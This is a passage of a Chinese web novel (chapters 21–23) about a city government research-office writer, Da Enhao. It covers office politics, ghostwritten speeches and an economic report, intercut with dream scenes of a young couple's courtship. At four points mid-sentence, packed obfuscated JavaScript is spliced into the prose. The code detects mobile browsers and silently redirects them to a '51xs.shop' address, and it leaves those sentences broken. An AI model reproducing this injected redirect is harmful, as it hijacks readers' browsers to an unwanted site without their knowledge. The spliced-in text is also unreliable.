好不容易总理裴处长安排完了，大家又开始相互敬酒，他喝了几杯就再不喝了，饭菜吃得差不多了，他感觉还没有完全吃饱。到了七点多他们结束了，散了，各回各的家去。这时天已经黑了，黄河风情线上灯火斓珊。他和城建处巴处长结伴，从铁桥上浪过去，下桥到了北面广场，向右拐向前走着，突然，从北滨河路铁桥北车站公交车上下来的一女的，跑着高喊，“抓前面跑的小偷”，前面有个穿一身白的瘦高个子男青年，向前奔跑，他和巴处长也转身看着异口同声的喊道，“抓小偷”，白衣服瘦高个男青年跑到铁桥的人群中间就站着不跑了，向前慢慢的走，那个掉了钱包后面追这个白衣服瘦高个男青年的青年妇女也看不见了。 这时，过来了两个人，一高一矮，跟在他和巴处长身旁，你一言我一语的说，谁都不敢拦小偷，没人管，你抓了小偷，小偷认下你可就麻烦了，小偷会报复的，巴处长说，有一次他就碰着一个小偷，他迎面给小偷一个扫堂腿，抓住了小偷。那两个人还跟在他们两个旁边唠叨，他们两个没有理睬，那两个人跟了一会觉得无趣，就走开了。他两个边聊着，边从北滨河路走到了禹台沟口桥头，穿过马路，向北沿河沟到桥头车站的市场分手了，巴处长去坐公交车，他步行回家了。 金学盛儿子婚礼当天，市政府研究室又是全体出动帮忙，因为认识领导多，殷勤客气，所以达恩豪被安排为招待，主要任务是引来送往请来的亲朋好友，各级领导，好处是滨河市的头面人物，以至于河陇省的领导，达恩豪都认识，就是大领导可能不认识达恩豪这个小人物面矣。 这婚礼很隆重气派，最大的领导有省委副书记到场搭礼，祝福贺喜，吃席喝酒。地市级干部来好多位，县科级以下干部就不用说了，座了好几座。 “恭喜！恭喜！”“同喜！谢谢！”让达恩豪看了最幽默风趣了，金学盛主任像换了一个人一样，和老婆两个人站在婚礼大宴会厅一层的电梯门口，穿着像戏装一样的七品县令的大红色官袍，头戴有两边不停自已晃动细长翅儿的乌沙帽，脸上涂得是红脸黑眉，似以舞台上唱戏一般，对电梯门打开出来的，迎来送往，前来参加婚礼的亲朋好友，各位领导们，鞠躬作揖。 金学盛夫人的迎宾服装和打扮就更加的滑稽可笑了，穿着同样是一身的戏装，大红绣金边的侧开襟大兜襟衣服，上面绣着绿叶金花，同样大红裤子大红绣花鞋。头插金钗，上挂吊凤飞，晃动闪烁，有声作响。脸画得粉底带腮红，柳眉美目，一面脸蛋左上方，点了一颗不大不小醒目的黑痣，可喜可乐，吉祥喜庆。这身装扮下来，也都完全认不出来原来的模样了。完全像个戏文中唱的，为青年男女保媒牵红线的老瑶婆子了。 一对事主，如此装扮，喜庆的笑死人了！ 达恩豪听说，这是滨河当地和农村县城地区举办婚庆的一种地方风俗。 …… 达恩豪这几天除了正常的公事，调研写材料，还要另外多了了一项工作，就是给单位“一把手”金学盛儿子婚礼的事儿帮忙，晚上回家休息得早，进入梦乡也快…… 这小伙儿每天在这美女家里蹭饭，蹭完了饭，又和这美女在其爸爸的单位办公室里幽会，谈情说爱，把他给美得不行，高兴得不得了。 人总有称心如意的一点时间的，听上岁数的人说过，人总有顺风顺水的那段日子，人红得时候，会红得发紫的，那时神鬼都莫挡，天地为之开路让道。 有恋人可以陪伴左右，有情人相互促膝樊谈，燕尔啁呢，好不快活。但这小伙儿也有一发愁之事，挺烦心的。 每天晚上在准岳父办公室，这小伙儿和这美女，情哥哥，爱妹妹，谈意正浓时，就有人来干扰了，有人来打搅了。后来他才知道，明白原来这是怎么回事了。 那些天夜里，在这美女父亲办公室里，这小伙儿和这美女，谈情说爱，每到一个小时后，大约不到晚上十点钟，就有情况。 是第一晚吗，大约十点左右，“哐哐哐！”不紧不慢的敲门声就响了，这小伙儿和这美女忙忙地整理好衣冠，用手梳理一把头发，这小伙儿坐端正了，这美女赶紧过去开门。 “是爸啊！”这美女打开门一半，手拉着门把手一看，赶紧松手站到一边让开路了，这样有些惊奇地说道。 “下班忘拿了，我取盒烟。”这小伙儿的准岳父看一眼这小伙儿，走进这房间，站住了，停在屋中央，一动不动，好像在想什么，又好像在闻什么气息，又或是在等侍什么似的。 “叔叔您好！”这小伙像作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136229|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼似的赶紧站起身来，不敢正眼盯视，瞟一眼面前的准岳父，很礼貌地欠身说了这样一句话道。 “不早了，我回单位宿舍去了。”这小伙儿像做错事的小孩子，快步走出这间办公室，有些灰溜溜地，也有些心不甘情不愿地意思，同时，不忘了头也不回地和这美女说声辞别的话。 这小伙儿出这办公室门，借着屋里出来的亮光和大街上中灯的光，走到这院里停着的一辆自行车，摸出车锁“咣铛”一声打开，一脚蹬，一推一侧身，跳上自行车，逃也似地，骑着自行车奔这大院大门而去。 又是第二晚上，大约这美女和这小伙儿谈情说爱，幽会了在一个小时，一对有情青年男女谈得正欢的时候，“哐哐哐！”敲门声响起，这小伙儿抬手看一眼腕上的手表，正好也是十点刚到。 “爸！”这对年轻的男女赶紧整理好仪容，这小伙稍弯着身子站起来，这美女赶紧过去拧锁开门，打开门一看，闪身一边让开路，这样说道。 “把打火机忘拿了，我过来取一下。”这美女的爸爸这样对这美女说道，同时，仍然是不急不慢，踱到屋中央停住，不动了，像忘记了在思考，似等待着什么事发生。 “叔叔您好，再见了！”这小伙儿边说，边低头眼睛余光瞧一眼这美女，像干了见不得人的坏事，简直是夺路而逃，几乎是慌慌张张地溜出了这间办公室，开锁院里自行车，跳上去骑着扬长而去了。 …… “达处长，刘市长有个讲话材料你写一下。”过两天，上班时间，在单位上达恩豪正在写一个调研材料，金学盛主任打来电话，让他过去自己的办公室里，达恩豪过去到主任办公室里，金学盛这样对他说道。 “好的，具体是什么材料？”达恩豪知道女副市长刘吉英是省上刚空投到滨河市的领导，短发，小脸下巴尖，弯眉长眼，不笑也看着是笑的，那种眼睛俗称“色眼”，妥妥一个迷人漂亮的美女领导，他认识，可刘市长能否知道他就不一定了，就不假思索地开口，这样对金学盛主任又是答应，又是反问道。 “我现在给你才说哩吗，是刘市长在又见莫高演出时的致辞，也是新亚欧大陆桥国际研讨会，以及联合国新丝绸之路明珠城市文化周系列活动上的一个材料。昂，你给美女市长写材料搞服务哩，很荣幸吗！”金学盛主任坐着看向面前人，手持一只“黑金刚”香烟，猛抽一口这黑盒精装“滨河”牌长过滤香烟，张口稍一吸，然后喷出一团旋转着的烟圈儿，又是解释，又是开玩笑，微笑着对达恩豪这样说道。 “好的，金主任。”达恩豪听了心里想，听人们说这个女领导提拔的贼快，原先是个列车陪餐员，不到三十年工作时间，就一步步提拔为副市长了，下面的人有些不理解，颇有微词，他和某某某省上大领导关系不一般，就也陪着笑脸儿这样回答道。 21. 第 21 章 第二十一章她爸的心 “啪啪啪！”“千里之行始于足下”，“不积蛙步，无以至千里”，“不纳溪流，无以成江河”。达恩豪从金学盛主任办公室回来，坐回到自己的办公桌椅间，点醒休眠电脑，网页上搜索，查资料，建立新文档，选择复制粘贴，又在自己的文档里翻阅资料，参考研究，分析思考，敲敲打打，修修改改，又忙活了两三天，一份材料终于写出来了。 达恩豪手捧着这份标题为《在大型舞剧演出时的致辞》，这材料他共写了2页800多字，主要内容如下： “在大型舞剧《又见莫高》演出时的致辞 滨河市副市长刘吉英 （2007年××月××日） 尊敬的各位领导、各位来宾， 女士们、先生们、朋友们： 今晚，我们在这里欢聚一堂，共同欣赏民族历史舞剧《又见莫高》。在此，我谨代表滨河市委、滨河市政府，向前来观看这次演出的各位领导、国内外嘉宾和各界朋友表示热烈的欢迎和衷心的感谢。 作为“西部艺术第一品牌”和滨河“城市名片”的历史舞剧《又见莫高》，由滨河歌舞剧院历经3年时间创作而成。它以敦煌艺术宝库的千年历史为背景，以青年画师莫高与大将军之女月牙的感情历程为线索，演绎了莫高窟千年不朽、月牙泉万代不枯、艺术与爱情永远相伴相守的可歌可泣的爱情故事，再现了华夏国传统文化的精髓和敦煌艺术的光辉。 《又见莫高》自问世以来，以其跌宕起伏的戏剧情节和悲剧性的艺术氛围入选国家舞台艺术精品工程十大剧目，先后获得宣传部“五个一工程奖”、华夏国舞蹈“荷花奖”、华夏国“文化奖”等多个奖项。更为重要的是，该剧受邀在欧美国家巡演，盛况空前，蜚声遐迩，在华夏国原创舞剧中首屈一指，成为华夏国原创舞剧的顶级之作和民族舞剧的经典之作。 丝绸之路历史悠久，文化源远流长。滨河作为古丝绸之路重镇、新亚欧大陆桥名城和西北交通要道，名胜古迹众多，人文资源丰富，在长期的民族融合和华西方经济文化交流过程中，形成了独特的丝路文化、黄河文化和民族文化。以《又见莫高》为代表的舞台艺术，根植和依托于这一神秘、丰富的文化背景，向世人展现了古丝绸之路的历史画卷，反映了广博的民族文化历史，也预示着新亚欧大陆桥区域经济合作和社会文明进步的美好前景。 各位领导、各位来宾，文化是城市的灵魂。以先进文化引领城市发展方向，大力推进文化品牌战略，建设具有突出文化标志、鲜明文化形象、独特文化魅力的城市文化，是丝绸之路沿线各国城市的共同心声。让我们携起手来，以这次新亚欧大陆桥区域经济合作国际研讨会为契机，进一步促进交流，加强合作，共同开创新丝绸之路更加辉煌的明天。 谢谢大家。” “这明明是社会发展研究处的材料，还是硬压给我让我给写了。”达恩豪心里愤愤不平，这简直是张冠李戴，看人下菜，乔太守乱点鸳鸯谱吗，科教文卫，明明是其他处室的工作职责，能者多劳，能者全包，能者全干。干活者永远在干活，不干活者一直很逍遥。 “达处长，有个省政府研究室组织的全省各市州都参加的论文研讨会，金主任指示让你去参加。”达恩豪猛然又想起一件事来。是今年元月上旬的一天，上班时间，办公室走进一个人，矮个微胖，长着个疤瘌红脸的人，站在经济发展研究处办公室房间中央，对达恩豪这样说道。 “好的，佟处长我看看。”达恩豪起身转头一看，这人不是别人，正是单位秘书处处长（办公室主任）佟若贤，一边接过面前人递过来的一份红头文件，一边坐下身子开始翻看这文件，一边这样回答道。 “佟处长，这是卫生上的工作，与我们经济处无关呀，应当属于社会处或者政策处的职责范围吧？！”达恩豪粗一翻页浏览，就看出了问题一样，突然，转头皱眉盯着即将轩身就要走的佟若贤，又是质疑，又是反问的这样说道。 “你看文件上不是写了吗，研讨完了还要评奖，以您的水平和能力，就是没有奖金也至少能得个奖励证书。”听疤瘌红脸佟若贤这样一说，达恩豪也感觉，好像是单位领导特别是“一把手”对他的关照和恩典呢，这个单位秘书处处长，也就是办公室主任还真会说话，特别能来事儿，懂得利诱人啊。 “佟处长过奖了，我没有那个水平和能力啊。”达恩豪虽然嘴上这么对佟若贤说，但心里他还是想干这项工作，就故意半装作自己能力和水平太差，干不好这个活儿，害怕自己白干一趟，就这样表面上推辞一番。 “有枣没枣先打上两杆子再看，再说了领导安排的你看着办吧。”面前人对达恩豪这么有些无可何般奈地对答道。达恩豪看了，文件上的确是金学盛主任签的名，“一把手”安排布置的工作。达恩豪心里想，疤瘌红脸佟若贤也还会恩威并施，先恩后威，威逼利诱，不简单。 “那好吧，佟处长我参加。”达恩豪心里又一想，不光是参加研讨会，关键是要写一篇论文，要干活儿，是个苦差事，论文要在会上交流，参加评选，喜忧参半，领导什么不知道，比我清楚得多，硬压着叫我干，那敢推脱，就微笑着这样满口答应道。 佟若贤一听，任务完成了，甩手就出门走楼道，回单位秘书处办公室去了。达恩豪则伏案，再细细翻看，又开始研究起这个文件来。 …… 达恩豪晚上下班回家，吃了晚饭，看完电视，睡在床上，又进入了南柯国了…… 这是那天夜里呢，是第三天的晚上，这小伙儿蹭过了晚饭，这美女又拿着老父亲的钥匙链儿，引着这小伙儿，两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136230|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一前一后，那间挂着“副经理室”的办公室门，被这美女用一把钥匙插进去拧开了。 “叭哒！”一声，这美女顺手拉开了这办公室的开关，这“副经理室”的房间，灯光立刻就明亮了，这一对年轻的男女，鱼贯而入，钻进了这个房间里。 “哐铛！”这美女把这间办公室的门就随手给关上了，从这办公室门□□出来的直角三角体的光柱子，立即就消失了。只剩下一窗的光亮，这个一米以上四方形状，淡绿带点黄的光色的窗口，像个大灯镶嵌在一堵墙壁上一样。 这窗户淡绿带黄颜色的窗帘后面，这美女与这小伙儿拉近距离，两颗热烈的心在躁动，两双不安分的手在相牵，两双眼睛多情地相互注视着，两个脑袋正在慢慢相向移动着，两张嘴唇这时在无限靠近，靠近，靠近…… 只不过这时，这大的嘴唇移动，比这小的嘴唇移动要快此，这小的嘴唇几乎是看不见向前移动，几乎就是固定了一样，不动，是这美女的身未动，而心却一直在向前移动，移动，移动…… 这时，这美女和这小伙的两双眼睛，也发生了变化。先是这美女的眼睛迷离，逐渐慢慢的闭上了。这小伙儿了坚持不了多久，也慢慢的迷离起来，缓缓地闭上了。这时的美女的眼睛已经是闭的严严实实了…… 这美女和这小伙儿几乎是屏住了呼吸，停止了脉博一样，听不到两人的呼吸声，甚至是心脏跳动的声音，这房间里静得连掉根针都能听见响声…… 这美女和这小伙儿，这样的言谈举止，大约耗费了了一个小时的时间，一对有情青年男女的两张渴望已久的时候就要到了，一小一大的两张嘴唇，跨越了二十五年，等待了二十六年的跨世纪的对接，马上就要实现的时候…… “哐哐哐！”就在这千钧一发的时刻，敲门声突然响起，这对年轻的男女，同时身体颤抖了一下，如梦中惊醒般，打了愣神儿，清醒过来了一样，相互攥紧的两双手，马上就甩开了，身体立刻向后一避，站起身来。 这小伙儿抬手看一眼腕上的手表，正好也是十点刚到。 “是爸呀！”这对年轻的男女赶紧整理好仪容，这小伙稍弯着身子站起来，这美女赶紧过去拧锁开门，打开门一看，闪身一边让开路，怎么又是父亲大人，这样仍然是有些埋怨地说道。 “把喝水的茶水杯忘拿了，我过来取一下。”这美女的爸爸这样对这美女说道，同时，仍然是不急不慢，踱到屋中央停住，不动了，像忘记了在思考，似等待着什么事发生。 “叔叔时间不早了，我回单位了，再见！”这小伙儿边说，边低头眼睛余光瞟一眼这美女，像干了什么丢人显眼让人戳脊梁骨的坏事，几乎是夺路而出，简直是慌里慌张，逃也似地出了这办公室房间，快速打开锁院里自行车，跳上去骑着就飞奔而走了。 …… 22. 第 22 章 第二十二章经济分析 第二天上班，单位秘书处又发知道了，说是上半年马上结束了，请认真总结好上半年的工作，并高标准高质量提出下半年的工作打算，于本周星期五下班前交到秘书处，书面总结打算材料一式四份，电子版也须要一并上报。 星期四这天，天气阴沉沉的，上午上班时间，达恩豪打印好上半年经济发展研究处的工作总结和下半年的打算，回来正坐在自己的办公桌椅间，心想着动手开始写上半年全市经济运行情况分析报告，这是经济发展研究处比其他业务处室多做得一项工作任务，也是市政府研究室一年工作中的重头戏，单位领导和上级领导都特别重视。现在到了六月底了，马上上半年的工作就结束了。 下午，达恩豪坐在电脑上搜集，今年滨河市1-6份月的经济社会发展情况的新闻报道，记者采访市发改委领导和相关处室的情况报道材料，打电话与市统计局综合处认识的高处长要月报表，上政府大楼八楼去拿表册，找统计局的上半年经济运行数据分析材料。 “叮铃铃！”突然，经济发展研究处办公桌上了电话铃声响了，达恩豪伏身一看来电显示，这个号码好像是单位副主任牛嘉成的。 “牛主任您好！我是经济处的达恩豪啊。” “我是牛嘉成，达处长，最近忙啥呢？” “正常啊，搞平安滨河建设的课题，也不是很快。” “马上进入七月份了，上半年全市经济运行分析赶紧搞。” “我已经开始搞了，网上报纸上，开始搜集相关资料，统计局和发改委等部门，找相关材料。” “多会能拿出来材料？” “得一周半到两周时间吗。” “七月中旬一定要拿出来，实效性很强的，迟了就没有意义了。” “好的，我们加紧弄，确保七月中旬前一定把材料拿出来。” “好的，再见！” “牛主任再见！” 达恩豪加班加点的干，每天他都早上班半个小时，每天他都是最后一个离开单位的那个人，加班一至两个小时。 “呵！大功告成了。”经过一周多的努力，到七月中旬的一天，正好是星期二，达恩豪点完最后一个“保存”键时，从椅子上站起身来，两臂上举，同时，长出一口气，舒展一下久坐僵硬的腰身，这样自言自语道。 这份滨河市半年经济运行分析报告，经单位副主任牛嘉成审核后，报金学盛主任审定后签批，以滨河市政府研究室名义的红头正式文件，上报市政府及其他相关部分。这份材料共写了12页6300多字，简明扼要地分析研究了滨河市上半的经济社会运行情况。其主要内容如下： “全市上半年国民经济运行情况分析 滨河市政府研究室 （2007年7月） 今年以来，在国家继续巩固和发展宏观调控成果，积极推进经济结构调整和经济增长方式转变的大环境下，全市上下认真贯彻落实省市重要会议精神……紧紧围绕“创新机制，增速增效，夯实基础，协调发展”的总体思路和年初确定的各项目标任务，强化措施，狠抓落实，国民经济承接了近年来的良好发展态势，继续在高起点上平稳运行，各项主要经济指标均实现了“双过半”，为实现全年各项目标任务打下了坚实基础。 一、全市经济运行的基本情况 总的来看，全市国民经济在结构调整中快速增长，三次产业呈现出“一稳、二快、三提高”的发展格局…… （一）工业经济平稳运行，效益明显提高 从目前我市整体发展格局来看，工业经济仍然占主导地位，工业经济发展快慢直接影响着整个国民经济的发展。近年来，我市始终抓住工业经济发展这一主线，在扩大企业规模、打造知名品牌、招商引资、加大技改和后期投入力度等方面保障了工业经济全面、快速发展，从而提升整个国民经济的发展水平。 今年以来，我市工业经济仍然延续了近几年快速发展的势头，主要呈现出以下几方面的特点：一是工业生产继续保持快速协调增长……二是工业经济效益继续改善……三是工业固定资产投资力度继续加大…… （二）农业生产稳步发展，形势好于往年 今年，全市“三农”工作坚持发展城市农业方向不动摇，坚持落实好各项支农惠农政策措施不动摇，坚持农民增收和农村生产农活条件改善目标不动摇，突出“现代农业”和“新农村建设”两大主题，使全市农业和农村经济发展总体呈现增长态势。一是经济结构调整力度加大……二是设施农业发展迅速。……三是新农村建设稳步推进……四是农村基础设施建设步伐加快…… （三）投资保持一定强度，招商引资成效显著 由于受国家宏观调控的进一步影响，加上近几年投资高增长带来的同期基数较大的影响，今年以来我市固定资产投资增幅不大，但总体投资仍能保持一定强度…… （四）消费品市场繁荣活跃，城乡居民收支平稳 今年以来，住房和汽车等大额消费有增无减，且上升趋势很大，因此，社会需求的扩大进一步拓展了消费品市场的空间…… （五）财税收入快速增长，金融运行态势平稳 上半年，全市财政预算执行情况较好，实现地区财政收……增长……一般预算收入……增长……全市金融机构存款大幅增加……各项贷款稳步增长，投向变化明显…… （六）民生问题高度关注，和谐社会建设有序推进 全市上下按照构建和谐社会的要求，从群众最关心、最直接、最现实的问题入手，把民生问题摆到各项工作的首位。一是农村低保制度建设进展顺利……二是城市低保继续保持动态管理下的应保尽保……三是城乡医疗救助全面开展……四是救灾救济较好地保障了灾民基本生活……五是医疗保险工作有效解决了城乡居民因病致贫的问题……六是劳动和社会保障工作进展顺利…… （七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136231|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ）政府投入加大，社会各项事业全面发展 我市继续把社会事业发展摆在突出位置，注重加强薄弱环节，致力解决突出矛盾和问题，促进了社会事业的协调发展。一是教育方面……二是旅游方面……各项指标均达到历来最高水平。三是文体方面……四是城市建设方面……五是环境治理方面…… 二、当前经济运行中值得注意的几个问题 今年以来，全市国民经济继续向预期方向发展，总体形势良好。但也要看到……还存在一些突出问题： 一是工业发展速度相对较低…… 二是现代农业发展优势还不明显…… 三是有效需求的不足直接影响到第三产业的发展…… 三、对下半年全市经济走势的初步预测 下半年，保持全市经济快速稳定增长，完成全年目标任务的有利因素和不利因素共存。 有利因素…… 不利因素…… 预计下半年第二产业增速将有所加快，第一、三产业保持稳定增长。 四、促进全市下半年经济发展的对策建议 ……下半年，只要我们集中精力抓重点，开拓创新解难题，全市经济将继续保持平稳较快的良好发展势头。 （一）进一步加强工业运行调控，挖掘增长潜力…… （二）高度重视“三农”工作…… （三）加快发展服务业，带动全市经济持续健康发展…… （四）确保重点项目完成计划目标，推动固定资产投资快速增长……” …… 达恩豪下午下班回家，吃过了晚饭，看完了电视，睡在床上，开始会见周公了…… 这小伙儿和往常一样，蹭了这美女家的晚饭，一对年轻男女结伴，来到隔壁这美女爸爸的办公室。 “副经理室”的门锁打开了，里面的灯亮了，这一对青年异性进去了，大红色的方窗边上方，左边不远处，大红色的房门被“哐铛”一声关上了。门口泄出的亮光被这一声给收进去了，只留下大红色的方窗的亮光。 这小伙儿和这美女有说不完的情话，你情我爱，两个人又粘在了一起，靠在一起的时间不断地缩短，迅速地相依相偎。 终于是两张嘴唇，一大一小的两个嘴唇，挨到了一齐，等待了二十五年，期盼了二十六年的对接，无缘甜蜜的一吻，无比神圣的一吻，在这一刻完成了。 这小伙儿无比惊喜，无比陶醉，比拉美女手时更强大的电流传遍了全身，无比巨大的幸福感，无比巨大的甜蜜感，使得他来不及回味，来不及细细地咀嚼，细细地品味，慢慢地体验，慢慢地感受。 理性的年轻男人，这时，变得如此地感性，无此地冲动。 这美女也是感觉无比地惊喜，惊慌中带着喜悦，同样是无比地沉醉其间，比被这小伙儿拉着手时，更加强大无比的电流传遍了全身，从未有过的幸福感，把自己淹没了都激动得有些轻轻的战慓，微微地颤抖了。 23. 第 23 章 第二十三章多劳无功 这小伙儿痴情不改，相吻的嘴唇如胶似膝，闭眼粘上去就分不开了一样。不但嘴纠缠在了一齐，一对年轻男女的气息也纠缠在了一齐，身体也纠缠在了一齐。 尽管这美女睁不开眼，但气息加快，心路加快，脉搏加快，激动兴奋的要喘不过气来。用两手抓住这小伙儿的双肩用力地推搡，也分不开两张一大一小，不同的嘴唇。 因为，同时，这小伙儿双手抓住这美女的双肩，暗暗用力往回拉扯，抵消了这美女的向外的推力。 这样，就继续保持了一段甜蜜美好的，大嘴唇对着小嘴唇的无比幸福的平衡。 感性的年轻女人，这时，变得更加地感性，无此地沉醉。 这一吻，把两颗年轻异性的心拉得更近了，贴得更严了，靠得更实。这是心与心相交的一吻。 这一亲，把一双青年男女的一生紧紧相连，拴得更硬了，锁得更牢了。这是命与命相托的一亲。 这时，这对青年男女，通向幸福的大门再开，又打开了一扇，向幸福殿堂更深迈进的又一门户，向幸福的深度更进了一层。 这美女和这小伙儿，继续向着幸福的金字塔，不歇地努力攀登着。 “哐.哐.哐！”，立刻，两张一大一小的嘴唇慌忙分开了…… …… “……现在进行年终总评会议最后一项议程：由办公室佟若贤组织清点参会人数，发民主推荐测评表，无.计.名投票，大家现场填表打分，回收测评表。”今年年初时，滨河市政府研究室召开了年终总评会，全体干部职工参加，金学盛主任主持会议，先是理论学习，读了两篇上级会议精神的文件，然后长篇大论地总结去年工作，安排今年的主要工作，最后，对与会的大家这样说道。 “散会。”等佟若贤简单讲了填表说明和注意事项，再安排单位办公室三个年轻人，一个年轻人清点人数子，完了几个年轻人每人负责一份表，分头发给每个人。等三四分钟后，从与会的大家手里回收发下去的一整套的民主推荐表。推荐票收完了，金学盛主任这样宣布道。 过了一周后，单位办公室给每个处室都发了红头文件，达恩豪左等右等，终于可以知道评选结果了，心里想，今年自己又干得这么好，金学盛主任把什么重要的活都交给他干，这表明是非常的看得起他的，而且，他也不负领导所望，活干得也最好，也最多，老同志也比不过，年轻人更比不过，优秀研究人员非他莫属，虽然是一个名额，但保险有他一个不成，因为他从各方面都是最优秀的无疑。 “卧槽！”“垃啊圾！”当达恩豪看到这个滨河市政府研究室关于《2006年度优秀公.务.员先进工作者评选结果的通知》的时候，脸色马上变得非常难看，阴沉得能攥出水来，眉头皱得紧紧的，像拧成了一疙瘩似的，愤怒地涨红了脸，像关公面容一样，这样自言自语地咒骂道。 达恩豪优秀研究人员又没有得上，民主测评大家都给他投票了，他票数最高，但金学盛又硬是把这个优秀公.务.员的名额给了佟若贤，达恩豪只得了个先进工作者，达恩豪恼怒得气不搭一处来，伤心得快要死了。 又是整整一年，他的辛勤付出领导不认可，他的成绩被领导忽略了，他的工作领导选择性装瞎了。 干活与不干活，都一样，干多干少都一样，干好干坏都一样。这工作纯粹是和评先选优一点关系都没有，明摆着是两回事，不是一回事。这干活都是白干，只要和领导关系好就行了，就能评优选先啊！达恩豪越来越懂得了职场上的这样一个铁律，定理，常识。 达恩豪仰天长叹，这太不公平了吧，太没有道理了，太欺负人了，这还以后让人怎么工作，如何干活，怎么好好写材料啊！？ 又一想，达恩豪觉得好好干，继续努力，明年的优秀公.务.员肯定能评上！再说了工作的价值不是光是被评优选选，写材料过程也是挺有成就感，乐在其中人不知！ …… 达恩豪下午下班回家，吃了晚饭，看完了电视，上床睡觉，气得牙龈直痒痒，恨得牙齿咬得嘎叭响，带着愤恨就很快入眠了…… 这小伙儿在这美女家吃完了晚饭，这美女继续引了这小伙儿，一前一后的在房前的台阶上走着，来到隔壁她父亲的办公室，“副经理室”的门开了，这房间里的灯亮了，方窗户装满了绿黄色地亮光，门口也泄出一道白亮的光柱。 一男一女，两个年轻人进了这个办公室里，无所顾及，办公室门很快就关闭上了，泄出来的白亮的一束光柱，立马就消失了。墙壁上的大方窗户泄出的亮光，亮得更加地绿黄绿黄。 房间里两颗年轻而不同性别的心，跳动得好快，还在加速！ 两个不同性别的呼吸，也变得粗了，还在加粗，变得短了，还在更短得变化着！ 这一对青年男女，拉上了手还不够，两又手攥紧了也不够！ 两张异性年轻的嘴唇，对到了一齐也不够，大嘴唇把小嘴唇压得要分开了！ 这小伙儿啊，仿佛，嘴唇压得越紧，就爱得越深沉，爱得越激烈！ 这小伙儿还有些大胆的举动，试探着，把自己的舌头顶了出去，也不嫌弃这美女的一切！ 冷不防，直接把自己的舌头尖，就塞进了这美女的小嘴巴中去了！ 这美女小口噙满了这小伙儿的舌头尖，兴奋激动得浑身微微战慓，无法说话，也无法抗拒。不曾体验过的化验与突破！ 这美女但又感觉呼吸短促，心跳加速，响如打鼓，脉搏贲张，特别刺激！ 这美女是拒绝还是接紧，分不清，也道不明。说推开吧，又是那么用劲，说是拉近吧，又是有些胆怯的表现。 这美女是矛盾的心理，半推半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136232|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就，不推不接，坐享其成，好不快活！ 这小伙儿啊，舌头尖塞进这美女的小口中，幸福的全身轻轻地颤抖，激动的闭眼喘粗气，喘短气。 特别爽快，也特别刺激！这小伙儿感觉到从未有过的体验与探索！独特无比的化验与突破！ 仿佛，舌头伸得越深，就感觉爱得越兴奋，爱得越激动，爱得越幸福！直至，把自己全部伸进去！ 两个年轻人缠.缠.绵.绵，粘在了一齐，纠结在了一齐，融化为一体，实在是难解难分！ 仿佛，缠绵得越紧，就爱得越深沉，就爱得越肆无忌惮，爱得越陶醉其中！ “哐.哐.哐！”，敲门声突然响起，立刻，这小伙的舌头也这美女小口中收缩回来，大嘴唇离开了小嘴唇…… …… 七月份，滨河市政府研究室举全室之力，全员出动，筹备举办新亚欧大陆桥区域经济合作国际研讨会，从去年3月下旬到今年七月中旬，会议开完，前后准备了一年零四个月时间，共17个月。 达恩豪材料组工作也特别繁重，明显感觉到，越到会前节奏越快，工作越紧张，达恩豪感觉越刺激，越自豪，越有斗志。 要什么材料出什么材料，要何时出来就何时能出来，宁可提前弄出来，从不拖延。并且是保证质量，领导满意。 除了材料任务，达恩豪还根据领导安排指示，积极搞好迎宾接待，会议宣传报道服务，会议报到，参与会场监督维持，参会代表接送，材料和礼品袋分发等服务工作，他还是个标准的“多面手”。 为了办好这次会议，市上也花了血本，单位在宾馆也租了几间房，办会的前后一周时间，大家都到宾馆办公，一个小组一个房间。纪念品是敦煌飞天图案的丝巾，把材料和纪念礼品都全搬到办公室，笔记本电脑提到办会宾馆办公。 